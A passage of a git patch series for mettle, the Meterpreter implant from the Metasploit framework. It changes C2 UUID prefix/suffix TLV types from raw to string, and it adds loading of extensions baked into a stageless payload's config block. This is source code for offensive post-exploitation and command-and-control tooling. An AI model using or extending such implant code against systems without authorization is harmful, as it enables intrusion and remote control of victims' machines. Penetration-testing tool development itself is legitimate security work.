memcpy(vc->uuid_suffix, raw, len); - vc->uuid_suffix_len = len; - } - } + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_PREFIX); + if (s) vc->uuid_prefix = strdup(s); + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_SUFFIX); + if (s) vc->uuid_suffix = strdup(s); s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_GET); if (s) vc->uuid_get = strdup(s); diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index 6284e1ce..b84f78d9 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -115,8 +115,8 @@ #define TLV_TYPE_SESSION_FLAGS (TLV_META_TYPE_UINT | 727) #define TLV_TYPE_C2_ENC_OUTBOUND (TLV_META_TYPE_UINT | 728) #define TLV_TYPE_C2_ENC_UUID (TLV_META_TYPE_UINT | 729) -#define TLV_TYPE_C2_UUID_PREFIX (TLV_META_TYPE_RAW | 730) -#define TLV_TYPE_C2_UUID_SUFFIX (TLV_META_TYPE_RAW | 731) +#define TLV_TYPE_C2_UUID_PREFIX (TLV_META_TYPE_STRING | 730) +#define TLV_TYPE_C2_UUID_SUFFIX (TLV_META_TYPE_STRING | 731) #define TLV_TYPE_C2_PREFIX_SKIP (TLV_META_TYPE_UINT | 721) #define TLV_TYPE_C2_SUFFIX_SKIP (TLV_META_TYPE_UINT | 722) #define TLV_TYPE_C2_UUID_COOKIE (TLV_META_TYPE_STRING | 723) From b94e657b14b062b9dce36f2aac675671a5f3b2d5 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 18:13:00 +1000 Subject: [PATCH 8/8] Support baked in extensions in stageless --- mettle/src/main.c | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/mettle/src/main.c b/mettle/src/main.c index eb0249ce..6576bcd2 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -13,6 +13,7 @@ #include #include "argv_split.h" +#include "extensions.h" #include "log.h" #include "mettle.h" #include "service.h" @@ -435,6 +436,30 @@ static int parse_config_block(struct mettle *m) tlv_packet_free(group); } + /* Hot-load extensions baked into the config block (EXTENSIONS=) so + * their commands are registered before the first C2 dispatch. */ + struct tlv_iterator ext_it = { + .packet = config, + .offset = 0, + .value_type = TLV_TYPE_EXTENSION, + }; + size_t ext_group_len = 0; + void *ext_group_data; + while ((ext_group_data = tlv_packet_iterate(&ext_it, &ext_group_len)) != NULL) { + struct tlv_packet *ext_group = tlv_packet_from_raw(TLV_TYPE_EXTENSION, ext_group_data, ext_group_len); + if (ext_group == NULL) { + continue; + } + size_t data_len = 0; + const unsigned char *ext_data = tlv_packet_get_raw(ext_group, TLV_TYPE_DATA, &data_len); + if (ext_data && data_len > 0) { + if (!extension_start_binary_image(m, "baked", ext_data, data_len, NULL)) { + log_error("Failed to hot-load baked extension"); + } + } + tlv_packet_free(ext_group); + } + tlv_packet_free(config); return 0; }